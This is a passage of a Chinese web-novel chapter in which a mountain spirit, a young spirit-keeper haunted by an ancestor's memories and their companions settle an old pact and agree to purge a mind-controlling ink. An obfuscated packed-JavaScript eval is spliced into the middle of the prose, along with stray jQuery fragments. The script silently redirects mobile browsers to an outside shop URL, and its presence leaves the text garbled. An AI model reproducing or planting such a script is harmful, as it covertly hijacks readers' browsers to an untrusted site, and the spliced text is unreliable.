他顿了顿,看向阿术:"白狼部的守山兽。你姥姥阿媞当年跟末代守灵人有过约定,说鹿灵不能在人间久驻,如果有一天守灵人的血脉再度苏醒,请你帮忙把鹿灵带回冰原去。但她没等到那一天就没了。你现在承着她的血,这个约定也该由你续上。"

    阿术的尾巴僵住了:"我姥姥……跟守灵人有过约定?"

    "刻在角芯里的记忆。三百年前末代守灵人把鹿灵送进冰原之后,把所有传承封进了角芯里等后人唤醒。他醒来的时候第一件事就是找你姥姥,但阿媞已经不在了。"随从看向湛乂,黑沉沉的眼睛里没什么敌意,更像一个跑了好远的路终于找到歇脚处的旅人,"我叫达斡。末代守灵人的名字也是这个。你们想问我为什么给蒙古人做事?因为北边冰原的入口在蒙古人的地盘上,我要借他们的兵力开路。鹿灵被封印在冰原深处太久了,它冷。我得去把它接出来。"

    溶洞里安静了极其漫长的几息。阿术的尾巴慢慢放下来,爪子按在地面上不自觉地收紧了。

    湛乂把左手里的药钵放下,走到草垫前三步处站定。他居高临下看着达斡,空袖管在身侧自然垂着,但那个姿态里没有压迫感,更像是在听一个远道而来的人把话说完。

    "你用引魂墨控制阿术,"他开口,声音平得像今晚无风的湖面,"也是约定的内容之一?"

    达斡沉默了一会儿,黑沉沉的眼睛里闪过一丝微妙的神色:"引魂墨是我唯一的保障。我一个人的力量进不了冰原,鹿灵被封印的地方需要同源血脉的引导才能破开。阿术是阿媞的后代,它的血脉能解鹿灵外围的第一层冰封。我如果直接跟它说'请跟我去北边冻上三年把你姥姥的旧约给履行了',它第一反应应该是把我的牙掰下来当弹珠。"

    阿术在旁边哼了一声:"掰牙这主意不错,我记下了。"

    "所以你就用墨控它?"项好好手里的镊子尖还翘着,"先下药再谈交情,你们守灵人办事流程这么狗的吗?"

    达斡垂下眼。他锁骨下的角芯赤褐色光芒缓缓暗下去,整个人蜷坐在草垫上看着自己掌心那道已经结痂的割痕,声音低了一截:"我做得不对。角芯灌进来的记忆里有一段说鹿灵已经撑不住了,再冻下去可能会彻底消散。我急了。蒙古前锋在给我开路,时间在走,我脑子里那位三百年前的末代守灵人每天在我耳边念叨'来不及了来不及了'……"

    他抬起头,第一次露出了那种不属于守灵人的、单纯的、二十多岁年轻人脸上的疲惫:"我今年二十四。角芯里的记忆三百多岁。我有时候分不清到底是我在走还是他在走。"

    赵四站在洞口,手里的刀不知道什么时候收了回去。铁柱松开了攥紧的拳头。完颜术蹲在角落里抱着膝盖,脸上的刺青一抽一抽的,不知道在想什么。

    阿术慢慢从地上站了起来。它走到草垫前面,跟湛乂并排站着,琥珀色的瞳孔盯着达斡锁骨下方那颗嵌进皮肤里的赤褐色角芯。

    "那个角芯,"它开口,"三百年前末代守灵人封进去的是他所有的记忆和一部分鹿灵的力量对吧?"

    达斡点头。

    "他现在还在你脑子里每天逼你?"

    "……每时每刻。"

    阿术沉默了几息,然后把前爪抬起来放在达斡的膝盖上。力道很轻,灰白色的爪子跟草垫上那人瘦削的膝盖骨形成了鲜明对比。

    "他每天逼你念叨的调子,"阿术说,"是不是我姥姥当年跟他一起编的那版?"

    达斡愣了一下:"你怎么知道?"

    "因为我昨天晚上的梦里,有人让我唱那个调子。唱法跟我姥姥教我的版本差两个音节。"阿术的尾巴轻轻扫了一下地面,"你脑子里的三百岁老东西,托梦都托到我这儿来了。他是不是很想见阿媞最后一面?"

    达斡的眼眶忽然发红了。整张瘦削的脸绷紧了一瞬,然后他把自己的脸埋进了手掌里。

    阿术收回爪子,转头看了湛乂一眼。目光对上的一刻,湛乂从它琥珀色的瞳孔里读到了跟平时完全不同的东西,那里面有某种被压得很深的、柔软的、像是从姥姥阿媞那辈一直传递到今天的重担。

    "断臂哥,"阿术说,"我姥姥跟人家有约。鹿灵冻了三百年该出来了。但我不能被人控着脑子去。你帮我把它那个墨清干净,我自己选去不去。"

    湛乂看着它。灰白色的毛在火光里映着暖色,缺了半截的角尖微微反光,琥珀色的瞳孔深处那一小片坚硬的亮,跟他第一次在石像裂缝里看到时已经完全不同。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668210|206499||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    "三天。"他说,举起左手伸出三根手指,"三天后清干净引魂墨,你自己做决定。去也好留也好,按你想的来。"

    阿术用爪子碰了一下他三根手指的指尖,毛茸茸的触感短暂地划过指腹:"三天哦。要是清不干净你负责把达斡的角芯抠出来给我当弹珠。"

    达斡从手掌里抬起脸,红着眼眶看了阿术一眼,嘴角居然扯出一个极淡的、带着点认命意味的弧度:"……抠吧。抠出来之前请让我把鹿灵先放出来。"

    赵四在洞口长长地吐了口气:"我算看明白了,这位守灵人小哥跟山神大爷凑一块儿,一个急着救人一个急着救鹿,脑门上还顶着三百年旧账。咱们队正夹在中间当和事佬,还兼着搓药膏的。"

    湛乂已经在石台边重新摊开兽皮卷了。他头也不抬地说了句:"赵四,你话太多了,过来帮我按住兽皮另一边。"

    赵四笑着过来了。

    项好好蹲在阿术旁边重新给它眉心敷药,这次的动作比之前更轻。她把薄荷膏和血檀灰调的暗绿色糊糊一点点涂上阿术的额头,嘴里又开始哼新的调子。

    阿术听着听着,用尾巴尖碰了碰她的手腕:"你这次又编的什么词?"

    "没编词,就调子。"项好好哼了两句,是那首请神调子的慢板,但加了几个她自己随意改的音,原本沉郁的旋律被她哼得暖和了不少,像冬天火炉上咕嘟咕嘟煮着一壶枣茶。

    达斡跪坐在旁边,低头听着那个被改了调的古老旋律,眼泪无声地淌下来一颗,砸在草垫上洇出一个小圆点。他锁骨下的角芯赤褐色光芒在这首歪了调的哼唱里忽明忽暗地闪了闪,最后缓缓沉寂下去。

    火堆又拨亮了一分。溶洞外面起了风,呜呜地吹过山脊,把远处什么东西烧焦的气味带过来,又很快被夜风卷走了。湛乂左手的笔在木板上沙沙地响,把三天后清墨的每一道工序标注得清清楚楚。旁边趴着一只眯着眼哼唧的山神,膝盖上搁着一个年轻守灵人的半张泪脸,背后立着个攥着药梳随时准备给山神顺毛的小大夫。

    明天还有明天的仗要打,蒙古前锋不知道哪天就会摸到山脚底下来。但这会儿的火是暖暖的,笔尖的沙沙声听着踏实,某只山神的呼噜又开始从喉咙里断断续续地往外冒。